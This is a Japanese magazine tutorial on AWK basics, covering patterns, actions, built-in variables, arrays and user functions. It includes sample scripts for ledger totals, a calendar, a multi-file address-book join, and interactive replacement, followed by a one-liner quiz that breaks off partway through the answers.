の使い方です。適当な入力ファイル（inputfi le）
を与えて、動作を確認してみてください。

①長さが半角で30字を越える行（length等の文
字列操作・集計関数は、動作処理系、AWKのバー
ジョン、対象テキストの文字コードなどによっ
て、動作が異なることがあります。コラム参照）

②フィールド数が5以上10以下の行

$ awk 'スクリプト' inputfile

$ 別のコマンド ¦ awk 'スクリプト' inputfile

$ awk 'length > 30' inputfile 

$ awk 'NF >= 5 && NF <= 10' inputfile

第1章

本章では、AWKの基礎を学び、使い方になじんでもらいます。sedと違い、より柔軟に処理を表現できますが、
1行で書き表すのには、AWKのパターンを知り、アクションを学ぶことが必要です。さらに、応用的なスクリプ
トの書き方のコツをつかむと、いっそう深い使い方ができるようになります。後半ではワンライナークイズを楽
しんでください。

AWKの基本
  Writer    中島 雅弘（なかじま まさひろ）㈱アーヴァイン・システムズ／masahiro@irvinesystems.co.jp

試してマスター
第3章
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③最初の5行だけ表示

④偶数番目の行だけ表示

⑤第1フィールドの値が100未満の行を表示

⑥"問題"または"解答"を含む行

⑦"#"から始まる行（awkのコメント行）

　構文上の簡潔表現に加えて、組み込み関数等
で引数を省略できるものが多くあります。引数
を省略するほとんどのケースで、デフォルト引
数として以下に説明する処理対象行を示す$0

の値が使われます。
　AWKは、変数や関数定義、プログラム言語
で一般に搭載されている制御構造や組み込み関
数も充実しています。先の例では、組み込み関
数 length、組み込み変数の$N（N番目のフィー
ルド）、NF（フィールド数）、NR（レコード番号）
の値に関する条件や式を使って、パターン指定
しています（組み込み関数や、組み込み変数に
ついては、後の節で解説します）。パターンを
上手に記述することが、ワンライナーとして活
用する第一歩です。

AWKで使用できるパターン

　まずは、AWKで使えるパターンから見てい
きましょう。

●空のパターン
　パターンを省略すると、すべての行がマッチ
します。

$ awk 'NR <= 5' inputfile

$ awk  'NR%2 == 0' inputfile

$ awk '$1 < 100' inputfile

$ awk '/問題¦解答/' inputfile

$ awk '/^#/' inputfile

●正規表現
　sed同様に、正規表現を指定できます。

●比較演算式と論理演算式
　比較演算は、大小同値関係やマッチングにつ
いての演算です。そして、これらの演算を
AND（&&）やOR（||）などの論理演算を組み合
わせて指定ができます。

例）

　1番目のフィールドが100未満で、2番目の
フィールドが"ABC"のもの。

●BEGINとEND
　パターンBEGINは、AWKスクリプトでプ
ログラムの初期化の働きをします。BEGINに
伴うアクションは、入力列が読み込まれる前に
処理されるので、変数を初期化したり、出力レ
ポートのヘッダを印字したり、入力列の区切り
文字などを設定することに用います。
　パターンENDに伴うアクション部は、入力
列が全て読み終わった後で処理されます。その
ため、集計結果の出力や、レポートのフッタ出
力、その他あと処理のために使用することにな
ります。

●パターンの範囲

と記述することで、pattern1が出現してから
pattern2が出現するまでの範囲を選択の対象と
することができます。

例）

　beginという行が出現してから、endが現れ
るまで出力をします。

$1 < 100 && $2 == "ABC"

pattern1, pattern2

  /^begin$/, /^end$/
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　このデータを処理した結果は、次のようにな
ります。

　それでは、パターンを使ってワンライナーの
例を見てみましょう。
　次のスクリプトは、空白行を削除するパター
ンの指定方法の3つの例です。

⑧空白行削除［その1］

⑨空白行削除［その2］

　スクリプト⑧では、行全体の長さが0でない
ものにマッチするので、改行だけの行のみが削
除されます。
　スクリプト⑨では、フィールドが存在する行
にマッチするので、通常のFSの値では、改行
だけの行およびタブと空白からなる行が削除さ
れます。
　続いて、連続する同じ行を削除してみます。
この場合は、パターンだけでなく、アクション
も使って処理します（アクション部分の解説は、
後の節で行います）。

begin
これは選択されている
ここも
end
ここは選択されていない
begin
でもここは選択される

$ awk '/^begin$/, /^end$/' inputfile

これは選択されている
ここも
でもここは選択されている

$ awk 'length != 0' inputfile

$ awk 'NF != 0' inputfile

⑩空白行削除［その3］

⑪空白行削除［その4］

　スクリプト⑩では、連続する同じ行を1つに
まとめます。直前の1行を覚えておいて、新し
い入力行と比較します。内容が異なっていれば、
入力された行をそのまま出力します。
　スクリプト⑪では、複数の空白行を1つにま
とめます。表示しない行の条件は、「その行およ
び直前の行の両方が空白行のとき」です。よって、
この条件に否定を付けてひっくり返すと、表示
する場合の条件として、「その行または直前の行
のうちどちらかは空白行でない」が得られます。

⑫空白行削除［その5］

　スクリプト⑫は、入力行を、要素（第1フィー
ルドの値）ごとに、第1フィールドが重複する
行数をまとめて印字します。フィールドは、1

に限らず適当なものを指定することもできます。
たくさんの行があって、どことどこが重複して
いるのかチェックする場合に便利です。
　いかがでしょうか。sedは、ex、vi（exモード）
同様にパターンにマッチした行やマッチした個
所に対しての置換、削除を行エディタコマンド
的に指定するのに対して、AWKは、よりプロ
グラム言語らしいスクリプトのスタイルです。
比較的シンプルな処理は手軽く素早くsedを使っ
て、複雑な処理はAWKを使って、しっかりス
クリプティングするのがよいでしょう（もちろ
ん、複雑な処理を実施するsedパズルもエンジ
ニアの楽しみではありますが……）。

$ awk 'before != $0  { print; before = ｭ
$0 }' inputfile

$ awk 'NF != 0 ¦¦ bf != 0  { print; ｭ
bf = NF }' inputfile

$ awk '{ id[$1] = id[$1] " " NR } END ｭ
{ for (elm in id) print elm " " ｭ
id[elm]}' inputfile
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　ここまで、ワンライナーとしてコマンドライ
ン上でAWKを使うことを説明しました。アク
ション部分を記述した、より複雑で長いスクリ
プトは、スクリプトファイルに書いて実行する
ことができます。
　スクリプトファイルを実行するには、次のよ
うに指定します。

　前節では、パターンの解説を中心に行いまし
た。AWKをさらに活用するためには、アクショ
ン部分の記述方法を理解する必要があります。
本節では、アクション部の記述方法や、AWK

の変数について説明します。

アクション

　アクションは、一般の言語でのプログラムそ
のものといえる部分です。パターンで選択され
たアクションは、その部分に記述されている出
力や計算などの処理を行います。アクションが
省略された場合には、パターンに合致したすべ
ての入力行を出力することになります。

・アクションの中で使用できる文

  式: 定数, 変数, 代入, 関数呼びだしなど
  print 式の並び
  printf 書式, 式の並び
  if (式) 文
  if (式） 文 else 文
  while (式) 文
  do 文 while (式)
  for (式; 式; 式) 文
  for (変数 in 配列) 文
  break
  continue
  next
  exit
  exit 式
  { 文の並び }

　if、while、forなどの、真偽判定は、式の評
価結果がNULLもしくは0を偽（FALSE）として

AWKスクリプトの
書き方入門

$ awk -f scriptfile inputfile

扱います。それ以外は真（TRUE）となります。

特別な変数

　AWKには、制御やデータの解析のためにい
くつかの組み込み特別変数があります。ここで
は、よく使う組み込み変数を紹介します。

$1, $2, ... , $n そして $0
　$に続く数字は、現在の入力レコードにおい
て何番目のフィールドであるかを示しています。
つまり、$1は1番目のフィールドとなります。
さらに、$に続く変数の値により動的にフィー
ルドを指定することも許されています。たとえ
ば、変数nの値が3であるとき、$nは3番目の
フィールドを指し示していることになります。
　$0は現在の入力レコード全体を意味します。

例）
　レコードの区切りが復帰改行文字で、フィー
ルドの区切りがタブまたはスペースであるとし
て、現行レコードが次のものであるとき、

その結果は、

となります。

ARGC、ARGV
　ARGCとARGVはawk起動時のコマンドラ
イン引数を取得するための変数です。ARGC、
ARGVは、それぞれ、

が格納されています。

abc def ghi

  $1 = "abc"
  $2 = "def"
  $3 = "ghi"
  $0 = "abc def ghi"

ARGC  コマンドラインの引数の数
ARGV  コマンドラインの引数の配列
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例）

　このBEGINとアクションの組み合わせを記
述しておくと、プログラム実行においてのコマ
ンドライン引数をすべて表示します。

FILENAME
　FILENAMEは、現行の入力ファイル名が格
納されます。この変数を使えばawkスクリプト
中で、読み込んだファイルによって異なるアク
ションをさせたりすることができます。

例）

FNR
　FNRは、現在のファイルのレコード番号を
格納しています。

FS
　FSは、入力フィールドの区切り文字を定義
しておく変数です。区切り文字の指定には、正
規表現を使用することもできます。FSの定義
をしていない場合の標準値は、スペースとタブ
になります。

  BEGIN {
      for (i = 0; i < ARGC; i++)
     print ARGV[i]
  }

FILENAME == "file1" { アクション1 }
FILENAME == "file2" { アクション2 }

NF
　NFには、現レコードのフィールド数が格納
されます。たとえば、NFを使って、

とすれば、レコードの最後のフィールドが表示
されることになります。

NR
　NRには読み込んだレコード数が格納されま
す。FNRと異なる点は、複数のファイルを読
み込んだ場合には、それらのレコードの合計が
NRに入っていることになる点です。

OFS
　OFSは、出力フィールドの区切り文字を定
義する変数です。特に指定しない場合には、ス
ペースが既定値です。

ORS
　ORSは、出力レコードの区切り文字を定義
する変数です。この変数の定義をしない場合に
は、標準値として復帰改行が採用されます。

RS
　RSは、入力レコードの区切り文字を指定す
る変数です。標準値としては、復帰改行が用い
られます。

print $NF

AWKの処理系と日本語文字列COLUMN

　AWKにはさまざまな、バージョン、派生があり
ます。Linux、MacOSなどで、標準にインストール
されているAWKでは、マルチバイト文字コードに
対して、適切な処理ができないことがあります。
gawkは、かなりのレベルまで文字コード対応がさ
れていますので、標準AWKで困った場合には、ぜ
ひ試してみてください。

　AWKに対して、内部動作オプションなどを次の
ように -Wで指定できます。AWK処理系によっては、
使用する文字コードを指定できる場合があります。

$ gawk -W ctype=UTF8
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配列

　AWKの配列は、連想配列ですので、添字に数
値だけでなく文字列を指定することができます。

例）

　また、次のように ','で添字を区切れば、多次
元の配列も扱えます。

　配列の要素が不要になった場合には、delete

文で消去します。

サンプルスクリプト①
「出納の集計」

　対象データをレコードとフィールドという、
表形式の情報として扱うことができるのは、
AWKが logファイルの処理や、統計情報を素
早く計算するための便利な性質です。「出納の
集計」を行うスクリプトを記述してみます。
　データ形式は、「日付 ,   内訳 ,　金額」を連続
するタブで区切った形にします。金額欄には、
出金であれば負の値を、入金であれば正の値を

    a[n] = 10
    b["インド"] = "India"

　c[x,y]

　delete a[n]

書き込むことにします。
　たとえばデータファイル "note.dat"が、リス
ト1というデータである場合、

  (1) 現在の残高
  (2) 最高入金額
  (3) 最高出金額
  (4) 入出金についての1回あたりの平均金額

を、

  (a) 各月分
  (b) 給与所得を除いた全期間
  (c) 全期間

についてを求めてみましょう。
　回答例はリスト2を参照ください。

解説「出納の集計」
　AWKスクリプトは、お馴染みのCやJavaの

リスト1　データ note.dat ▼

10/1 水道  -20
10/2 電気  -6,231
10/3 ガス  -300
10/3 電話  -6,503
10/20 パチンコ -20,200
10/23 競馬  3,000
10/25 給料  223,000
10/26 飲食店のつけ -134,523
11/1 水道  -30
11/2 電気  -6,231
11/3 ガス  -700
11/3 電話  -10,300
11/5 競馬  -164,000
11/10 麻雀  40,000
11/25 給料  234,500
11/26 飲食店のつけ -122,459

リスト2　summary.awk ▼

BEGIN { FS="¥t+"; n = 3}

{
 gsub(",","",$n)
 gsub(/¥/[0-9]+/,"月",$1)
 summary("総計")
 summary($1)
}

$2 != "給料" { summary("給与外") }

function summary(c) {
    if (MAX[c]+0 < $n+0 )  MAX[c] = $n
    if (MIN[c]+0 > $n+0 )  MIN[c] = $n
    COUNT[c]++
    TOTAL[c] += $n
}

END {
    for (c in TOTAL) {
        printf "残高(%s) = %d¥n", c, ｭ
TOTAL[c]
        printf "最大出金額(%s) = %d¥n",ｭ
 c, MIN[c]
        printf "最大入金額(%s) = %d¥n",ｭ
 c, MAX[c]
        printf "平均(%s) = %f¥n", c, ｭ
TOTAL[c]/COUNT[c]
        print "--"
    }
}
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ような構文ですが、無用な括弧 "("、")"、セミ
コロン ";"が不要であることに気づかれると思
います。
　パターンBEGINでは、初期化を行います。
小遣い帳はデータの区切りが "連続したタブ " 

であるので、デフォルトのフィールド区切り文
字である "[ ¥t]" を変更します。さらに、計算
の対象となるフィールドは3番目のフィールド
ですから、変数nも3に初期化しています。
　続いて、パターンを省略したアクションで、
行を読み込んだ後、すべての行に対して処理す
る部分を記述しています。
　計算対象のフィールドには "," が含まれてい
ますから、数値データとしてAWKに扱わせる
には、この "," を取り除かなければなりません。
文字列の置換には、組み込み関数のgsubを用
います。

　同様に、日にちの情報は不要ですので、
.

で、”日にち”を”月”に置換しています。
　gsubは、第3引数の文字列を、第1引数にマッ
チする個所を、第2引数で指定する文字列に置
き換えます。第3引数へは破壊的に置き換えが
起こります。関数の戻り値は、置き換えた数に
なります。
　後ろで定義しているsummary関数を使って、
総計と月毎の集計を行います。summary関数は、
引数に集計分類を受け取り、総計、最小値、最
大値、平均値それぞれの集計結果を連想配列に
収納します。

　給与以外のものについての集計は、パターン
を指定します。

gsub(",","",$n)

gsub(/¥/[0-9]+/,"月",$1)

 summary("総計")
 summary($1)

 $2 != "給与"

　ここでは、すでにパターン省略時のアクショ
ンを処理済みですので、金額の ","と日付の日
にち情報の加工は済んでいます。
　集計時には、型指定のないAWKで、変数型
を誤認識されないように注意しなければなりま
せん。ここでは、数値として演算させるために、

といった表記を用いています。
　最後にENDパターンで、集計結果を印字し
ています。連想配列のメンバーを抽出するには、
for文の in演算子を用いると便利です。何気な
く使っている、組み込み関数のprintfは、ほぼ
C言語のものと同様です。
　この例は、単純なものですが、AWKらしい
記述方法をご理解いただけたかと思います。
AWKでは、フィールドやレコードの単位を自
由に変更することもできます。また、強力な組
み込み関数などを使って、システムログやネッ
トワークパケットのダンプデータを解析するな
どに簡単に応用することもできます。

少し応用

　前節のスクリプトでは解説なしで使用しまし
たが、AWKは、ユーザ関数を定義することが
できます。定義するには、

とします。この定義はパターン-アクション文
を記述できるところならどこでも好きなところ
に記述することができます。注意する点は、呼
び出し時には関数名と引数リストの左括弧の間
に余分なスペースが存在してはならないことです。
　関数となると、変数のスコープに気をつけな
ければなりません。一般のスカラ変数は値渡し
され、関数中で値を変更しても外部への影響は
ありませんが、配列については、C言語と同様
に参照によって渡されるので、関数中で要素を
変更したり、新しい要素を追加したりできます。

　変数+0

  function 関数名(引数リスト) {
  }
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仮引数は関数内ではすべて局所変数となり、そ
の他の変数は大域変数として扱われます。関数
中で局所変数が必要な場合には、仮引数を余分
に渡してやるとよいでしょう。
　return文を省略した場合の関数の戻り値は不
定になります。

サンプルスクリプト②
「カレンダーを表示する」

　ここまでに解説した機能といくつかの内部関
数を使って、AWKで日本語版カレンダーを作っ
てみましょう（リスト3）。
　+オプションで年月日を指定して calendar.

awkを起動すると、曜日を返します。年と月だ
けを与えると、その月のカレンダーを表示しま
す。なお、年だけだと、その年全体のカレンダー
を表示します（図1）。

解説「カレンダースクリプト」
　リスト3を参照ください。数値演算、正規表
現を使った論理演算、変数のインクリメント、
デクリメントなどの操作にも注目してください。
ほぼ、C言語などの一般的な言語と同じような
処理が可能です。
　関数option()で読み込んだ日付を組み込み関
数split()で年月日に分解して配列date[]に格納
しています。ただし、年月日の区切りはピリオ
ド"."としています。
　week1()は、曜日コードの計算をします。
BEGIN部分で初期設定を与えておきます。配
列Mをweek1では大域変数として参照してい
ます。
　1ヶ月分のカレンダーは、関数 calendar()で
作成します。表示位置を決めるのに関数week1

でその月の第0日目（＝前月の最終日）の曜日コー
ドを求めています。
　関数repeat()は、文字列 strを回数 timeだけ
繰り返します。timeが0以下のときは、空列 ""

になります。この関数は、文字列の整形に役立
ちます。文字列の連結を、

で行っています。変数 iとretは、局所変数と
して使うための仮引数です。
　関数option()は、AWKの起動時に読み込ん
だ+オプションから、組み込み関数substrによ
り引数の2文字目以降の値を文字列として取り
出します。引数optは、+オプションが省略さ
れた場合のデフォルト値です。テキストデータ
を読み込む前にBEGIN部分で使います。ただ
し、空白" "は、この形では入力できません。

サンプルスクリプト③
「データベースもどき」

　もう1つ、簡単な「データベースもどき」の例
をご覧ください。
　住所録のデータは、関係データベースらしく
正規化した、3つのテーブルから構成されます。
1つは、個人の名前と電話番号、勤務先を納め
たもので、各人に分類のためにシリアル番号を
ふることにします。このテーブルは、private.

datという名前にしましょう（リスト4）。次の
テーブルは、先の個人の家族構成員を収納した
テーブルで、どの人の家族かを識別するために
先程ふったシリアル番号、家族の名前、続柄か
らなるテーブルです。このテーブルは family.

datという名前にします（リスト5）。最後は、

ret = str ret

図1　カレンダースクリプト実行結果 ▼

# 1
$ awk -f calendar.awk +2013.10.4
金曜日

# 2
$ awk -f calendar.awk +2013.10
     2013年 10月
日  月  火  水  木  金  土 
       1  2  3  4  5 
 6  7  8  9 10 11 12 
13 14 15 16 17 18 19 
20 21 22 23 24 25 26 
27 28 29 30 31 

# 3
$ awk -f calendar.awk +2014
 少々長い結果になるので、省略します 
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リスト3　calendar.awk ▼

# カレンダー
BEGIN  {
  M[1]=31; M[2]=28; M[3]=31; M[4]=30;  M[5]=31;  M[6]=30
  M[7]=31; M[8]=31; M[9]=30; M[10]=31; M[11]=30; M[12]=31
  W[0]="日";  W[1]="月" ;  W[2]="火"; W[3]="水"
  W[4]="木"; W[5]="金"; W[6]="土"

  split(option(), date, "¥.")
  n = week1(date[1]+0, date[2]+0, date[3]+0)
  if  ( date[3] != "" )  print W[n] "曜日"
  else  if  ( date[2] != "" )  {
    calendar(date[1], date[2], M[date[2]], n)
  }
  else  for ( i = 1; i <= 12; i++ )  { 
    calendar(date[1], i, M[i], week(date[1], i, 0))
    print ""
  } 
}

# 曜日コードの算出
function  week1(y, m, d,  s)  {     
  s = 5         
  y %= 400          
  if ( y == 0 ¦¦ ( y%4 == 0 && y%100 != 0 )) if  ( M[2] == 28 ) M[2]++
  if ( y > 0 )  s += --y+int(y/4)-int(y/100)+int(y/400)+2
  while  ( m > 1 )  s += M[--m]
  return (s+d)%7
}

# カレンダーの作成
function  calendar(y, m, d, s,  i)  {
  printf("     %d%s %d%s¥n", y, "年", m, "月")
  print "日 月 火 水 木 金 土 "
  printf("%s", repeat(" ", ((s+1)%7)*3))
  for ( i = 1; i <= d; i++)  {
    printf("%2d ", i)
    if ( (s+i)%7 == 6 ) print ""
  }
  if ( (s+i)%7 != 0 ) print ""
}

# 与えられた文字列の繰返し
function  repeat(str, time,   i, ret)  {
  for  ( i = 1; i <= time; i++ )  ret = str ret 
  return ret
}

# オプション引数の読込み
function  option(opt)  {        
  if (ARGC > 1 && ARGV[1] ̃ /^¥+.*$/)  {  # オプション指定のチェック
    print ARGC, ARGV[1]
    opt = substr(ARGV[1], 2)          # 先頭の"+"を取り除く
    delete ARGV[1]            # 配列を解放する
  }
  return opt                  
}

リスト4　private.dat ▼

1 旭富士貢 032-6632-3188 東京都世田谷区 取組
2 小泉デービッド 071-3242-4583 京都府京都市左京区 ココデス
3 田中熊五郎 032-2445-7819 東京都目黒区 トマト
4 山本雄山 041-899-2245 神奈川県川崎市 トマト
5 阿部慎平 072-445-2234 兵庫県揖保郡 カネ
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勤務先の略称をキーにして、正式名称、電話番
号を格納したテーブル jobs.datです（リスト6）。
それぞれのテーブルのフィールドの区切りは、
連続したスペースとタブに設定しましょう。

解説「データベースもどき」
　これらのテーブルから特定の個人についての
情報を全て抜き出して表示するのが、ここでの
目的です。テーブルが複数のファイルに分かれ
ていますから、getlineの機能を使ってテーブ
ルを結合します。
　ポイントは、キーになる値を使って、別のテー
ブルを検索するループの部分です。このように、
AWKでは、処理対象のファイルが複数のファ
イルに分かれていても対応することができます
（リスト7）。実行結果は図2です。

サンプルスクリプト
「対話的な文字列の置換」

　AWKの応用として、対話処理の例を紹介し
ます。「スクリプト言語なのに、対話処理？」と
違和感があるかもしれませんね。AWKは、ス
クリプト言語ですので、ワンライナーで別のコ
マンドと連携したり、テキストデータをバッチ
型で処理する作業はもちろん得意です。でも、
データを対話的・選択的に処理対象とするか選
択したい時にも対応できる機能を備えています。
この、対話型の入力に用いる組み込み関数が先
にも出てきたgetlineです。
　置換の対象となる文字列が発見されたときに、

AWK応用編

リスト5　family.dat ▼

1 ミネルバ  妻
1 リリス   長女
2 ナーガ   長女
3 ベルセルク 弟
3 セイレーン 姉
4 アルテミス 祖母
4 ペン    鳥
5 オーディン 父
5 フレイヤ  母

リスト6　データ jobs.dat ▼

取組   株式会社取組    071-423-9231
ココデス 財団法人ココデス  031-6323-6222
トマト  株式会社トマト新聞 032-4777-9524
カネ   カネ科学株式会社  072-877-2833

リスト7　address.awk ▼

# 住所録
BEGIN { FS="[ ¥t]+"; name = option(); }
$2 == name {
    key = $1; 
    printf "名前¥t¥t%s¥n", $2;
    printf "電話番号¥t%s¥n", $3;
    printf "住所¥t¥t%s¥n", $4;
    getjob($5);
    getfamily(key);
}

function getfamily(key,   n)
{
    printf "家族構成¥n";
    while (getline < "family.dat" > 0)
    if ($1 == key) {
            
printf("¥t%s¥t¥t続柄 %s¥n", $2, $3);
        n++;
    }
    if (n == 0)
    print "¥tなし";
}

function getjob(abbreviation)
{
    while (getline < "jobs.dat" > 0)
    if ($1 == abbreviation)
        printf "勤務先¥t¥t%s¥t¥t電話
¥t%s¥n", $2, $3;
}
# オプション引数の読込み関数 option() ... 先
の例で使った、同じ関数optionをつかいます。

図2　データベースもどき実行結果 ▼

$ awk -f address.awk +阿部慎平 private.dat 
名前   阿部慎平
電話番号 072-445-2234
住所   兵庫県揖保郡
勤務先  カネ科学株式会社 電話 072-877-2833
家族構成
 オーディン  続柄 父
 フレイヤ   続柄 母
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本当に置換をするかどうかを、対話的に確認す
るようにしましょう（リスト8）。
　見つかった文字列は、行数とともにその行を
表示して、エスケープシーケンスによる、強調
出力の方法を使って、色を付けて目立つように
します（エスケープシーケンスは、使っている
端末によって異なりますので、ご自身の環境に
合わせて適時修正してください）。
　このスクリプトで対話入力の時に使用できる
コマンドは、表1のようにしましょう。
　コマンドの入力は大文字小文字のどちらでも

かまいません。
　さらに、画面を使っての対話処理になります
から、編集結果の出力先はファイルにしておき
ます（ここでは "replace.out"としていますが、

y 対象の文字列を置き換える
a この文字列も含め、今後出現する同じ文字

列をすべて置換する
i 置き換えをしない。今後出現する同じ文字

も置換対象にならない
その他 置き換えをしない

表1　操作一覧表 ▼

リスト8　replace.awk ▼

# 辞書による対話的置換
BEGIN {
  i=0
  while (getline < "dict" > 0) {
    source[i] = $1
    destination[i] = $2
    i++
  }
}

{
  for (i in source) {
    if (i in all) {
      gsub(source[i], destination[i], $0)
      continue
    }
    head = ""
    tail = $0
    while (idx = index(tail, source[i])) {
      tbuf = tail
      sub(source[i], "¥033[41m&¥033[0m", tbuf)    # エスケープシーケンスを使った強調表示
      printf("%4d : %s%s¥n",  NR, head, tbuf);
      printf("[%s] -> [%s] (Yes/No/All/Ignore): ", source[i], destination[i]);
      getline q < "/dev/stdin"
      if (q ̃ /^[yY]/) { # 対象の文字列を置き換えます。
        sub(source[i], destination[i], tail)
        head = head substr(tail, 1, idx + length(destination[i]))
        tail = substr(tail, idx + length(destination[i]) + 1)
      } else if (q ̃ /^[aA]/) { # この文字列も含め、今後出現する同じ文字列をすべて置換します。
        gsub(source[i], destination[i], tail)
        all[i] = source[i]
        break
      } else if (q ̃ /^[iI]/) { # 置き換えをしません。今後出現する同じ文字も置換対象になりません。
        delete source[i] 
        break
      } else { # 置き換えをしません。
        head = head substr(tail, 1, idx + length(source[i]))
        tail = substr(tail, idx + length(source[i]) + 1)
      }
    }
    $0 = head tail
  }
  print $0 > "replace.out"  # 結果の入るファイル名をここに記述
}
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既出のoption()関数などを使って出力先を可変
にしてもよいでしょう）。

解説「対話的な文字列の置換」
　見てのとおり、スクリプトはさほど複雑では
ありません。BEGINパターンで、getlineを使
い辞書ファイルを事前に sourceとdestination

配列に読み込みます。
　パターン指定をしていないアクション部分でも、

によって、標準入力からの入力を変数に収納し
ています。
　おなじアクション内の、

は、読み込んでいる行に対して、index関数によっ
て辞書に登録されたワードの位置を idxに記録
します。index関数は、探している文字列がな
ければ0を返します。whileループ判定において、
0はFALSEとなりますので、対象ワードのな
い場合には、ループを脱出します。
　単語の置き換えを行に対して部分的に行う場
合には、head、tail変数に行を分割して組み込
み関数subではじめの1ヶ所を置換、再結合を
しています。
　一方、行中のすべての対象単語に対して置換
する場合は、gsub関数を使って一発で置換を
します。
　以降の部分を「すべて置き換える」場合は、
all配列に置き換えの対象単語を登録して、前
段の ifブロックの処理対象とし、そこでgsub

関数で全置換するようにします。

getline q < "/dev/stdin"

while (idx = index(tail, source[i]))

　同様に、「すべて無視する」場合は、source

配列を消去することで辞書を無効にして、先頭
の ifブロックの処理対象から外れるようにして
います。
　whileループの終わりに、headと tailを連結
し、$0変数に書き戻しています。アクション
の最後に、

で、処理した結果をファイルに出力します。
　これらの、パターン指定のないアクションは、
入力ファイル（ここでは、replace.txt）1行ごと
に処理されることに注目してください。
　このプログラムの動作を理解するには、$0

変数と、head、tailの状態がどのように変化す
るかを理解するのがポイントです。

実行例

　さて、作ったプログラムを実行してみましょ
う。データには、リスト9とリスト10のもの
を使ってみます。
　これによる実行は、

図3のとおりです。
　この結果得られた replace.out は、図4のよ
うになります。

print $0 > "replace.out"

A> awk -f replace.awk replace.dat

リスト9　辞書ファイル（dict） ▼

サキュバス リリス
旅 冒険
金曜 土日
水の 火の
ダンジョン 魔窟

リスト10　読み込み用データ（replace.dat） ▼

先週の降臨ダンジョンでは、ひどい目にあいました。でも、あなたは、旅を続けています。
思えば、火曜ダンジョンで虹おっさんを取りそびれたのでケチがついたのでしょう。
水曜日のゴッドフェスで、おでんが欲しかったあなたは、なぜだか水の魔剣師を引いてしまった。
火の魔剣師は持っていないけど、岩の魔剣師はエンドラのスキル上げに使えるのに...
金曜ダンジョンでは、コイン2倍。しっかり貯めないと、合成もできない。
あぁ、ダンジョン。退屈なダンジョン。
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　　最後に、1行スクリプトを使ってクイズを

AWKクイズ
しましょう。次のQ1～Q19のスクリプトの動
作を予測してみてください。
　よくわからない場合には、実際に動かして確
認してみるのもよいと思います。

図3　実行結果「対話的な文字列の置換」 ▼

   1 : 先週の降臨ダンジョンでは、ひどい目にあいました。でも、あなたは、旅を続けています
[旅] -> [冒険] (Yes/No/All/Ignore): y
   1 : 先週の降臨ダンジョンでは、ひどい目にあいました。でも、あなたは、冒険を続けています。
[ダンジョン] -> [魔窟] (Yes/No/All/Ignore): n
   2 : 思えば、火曜ダンジョンで虹おっさんを取りそびれたのでケチがついたのでしょう。
[ダンジョン] -> [魔窟] (Yes/No/All/Ignore): n
   3 : 水曜日のゴッドフェスで、おでんが欲しかったあなたは、なぜだか水の魔剣師を引いてしまった。
[水の] -> [火の] (Yes/No/All/Ignore): y
   5 : 金曜ダンジョンでは、コイン2倍。しっかり貯めないと、合成もできない。
[金曜] -> [土日] (Yes/No/All/Ignore): y
   5 : 土日ダンジョンでは、コイン2倍。しっかり貯めないと、合成もできない。
[ダンジョン] -> [魔窟] (Yes/No/All/Ignore): n
   6 : あぁ、ダンジョン。退屈なダンジョン。
[ダンジョン] -> [魔窟] (Yes/No/All/Ignore): n
   6 : あぁ、ダンジョン。退屈なダンジョン。
[ダンジョン] -> [魔窟] (Yes/No/All/Ignore): y

図4　実行結果（replace.out.） ▼

先週の降臨ダンジョンでは、ひどい目にあいました。でも、あなたは、冒険を続けています。
思えば、火曜ダンジョンで虹おっさんを取りそびれたのでケチがついたのでしょう。
水曜日のゴッドフェスで、おでんが欲しかったあなたは、なぜだか火の魔剣師を引いてしまった。
火の魔剣師は持っていないけど、岩の魔剣師はエンドラのスキル上げに使えるのに...
土日ダンジョンでは、コイン2倍。しっかり貯めないと、合成もできない。
あぁ、ダンジョン。退屈な魔窟。

問題

●Q1

●Q2

●Q3

●Q4

$ awk '$0 !̃ /^( ¦¥t)*$/' inputfile

$ awk '{$1 = $1; print $0}' inputfile

$ awk '{line = $0} END {print line}' 
inputfile   

$ awk '{if (f<NF) f=NF} END {print f}' 
inputfile 

●Q5

●Q6

●Q7

●Q8

$ awk '{if (l<length) l=length} END {print 
l}' inputflie  

$ awk '{printf("%3d: %s¥n", NR, $0)}' 
inputfile

$ awk '{for(i=1;i<=NF;i++) printf("%3d: 
%s¥n",++s,$i)}' inputfile

$ awk '/サキュバス¦リリス/ {c++} END {print 
c}' inputfile
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●Q9

●Q10

●Q11

●Q12 

●Q13

●Q14

●Q15

$ awk '{for(i=1;i<=NF;i++) if($i ̃ /エキド
ナ¦ナーガ/) c++} END {print c}' inputfile

$ awk '{c=0; for(i=1;i<=NF;i++) if($i ̃ /
ドリヤード¦アルラウネ/) c++; print c}' 
inputfile

$ awk '{for(i=1;i<=NF;i++) if($i ̃ /キュー
ピッド¦エンジェル/) print NR ":" i}' 
inputfile

$ awk '{ gsub(/ /, ""); print }' inputfile

$ awk '{ gsub(/[A-Z]/, "＊"); print }' 
inputfile

$ awk '{ printf $0}' inputfile

$ awk 'BEGIN { ORS = "" } { print }' 
inputfile

●Q16

●Q17

●Q18

●Q19
　最後に、本編では正規表現について解説する
機会がありませんでしたが、腕に覚えのある人
は、ぜひ次の正規表現の問題に挑戦してくださ
い。同じ動作をするAWKで使う正規表現の組
を作ってください。

$ awk 'BEGIN { RS = FS }  { print }' 
inputfile

$ awk 'BEGIN { OFS = "¥n" } { $1 = $1; 
print }' inputfile

$ awk 'NR%2 == 1 { printf $0}  NR%2 == 0 { 
print }' inputfile

a (01)? b (01)+
c (0¦1)* d (01)*
e ((01)+)+ f ((01)*)*
g 01(01)* h (0*¦1*)*
i (01)++ j (01)?+
k ((01)?)? l (01)+?
m (01)** n (01)??
o (01)?* p (01)*01
q (01)+(01)* r (01)*?
s (01)*(01)* t (01)*(01)+
u (0?1?)* v (01)+*
w (01)*+ x (0*1*)*

回答

●A1：改行だけの行およびタブと空白からな
る行を削除します。正規表現を使って、33ペー
ジのスクリプト⑨と同じ機能を実現しています。
●A2：タブをスペースに置き換えます。$1へ
の無意味に見える代入操作によって、$0が再
定義されます。もし、入力データファイルの区
切りが、タブになっている場合には、タブがス
ペースに変換されることになるでしょう。
●A3：最後の行だけ表示します。

●A4：最大フィールド数を表示します。
●A5：最長文字数を表示します。
●A6：行番号を加えて、inputfi leの内容を表
示します。
●A7：1フィールドを1行に、行番号をつけ
て表示します。
●A8：正規表現（"サキュバス"か"リリス"）に
マッチする行数を出力します。
●A9：正規表現で指定した、"エキドナ"か"ナー
ガ"にマッチする全フィールド数を出力します。
●A10：各行ごとに、正規表現（"ドリヤード "
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か "アルラウネ "）にマッチするフィールド数を
出力します。
●A11："キューピッド"か"エンジェル"にマッ
チするフィールドが、"何行目 :何フィールド目
